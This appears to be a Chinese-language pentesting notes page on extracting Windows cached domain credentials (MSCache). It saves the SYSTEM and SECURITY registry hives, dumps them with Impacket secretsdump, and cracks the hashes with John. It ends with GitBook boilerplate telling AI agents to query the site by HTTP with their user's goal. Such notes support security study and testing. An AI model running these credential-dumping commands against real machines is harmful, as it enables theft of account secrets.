> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/mscache-extraction-from-registry-hives.md).
# 从注册表 hive 中提取 MSCache
### 保存必要的注册表配置单元
在 Windows 上：
```bash
reg save hklm/system system.save
```
然后：
```bash
reg save hklm/security security.save
```
然后我们将文件传输到 Linux。
### 使用 Impacket 提取
在 Linux 上：
```bash
secretsdump.py -system system.save -security security.save LOCAL
```
此命令会将 MSCache 信息提取为可用格式。
### 使用 John 破解
使用 John 破解 MSCache v2 哈希：
```bash
john --format=mscash2 hash
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/credentials/mscache-extraction-from-registry-hives.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.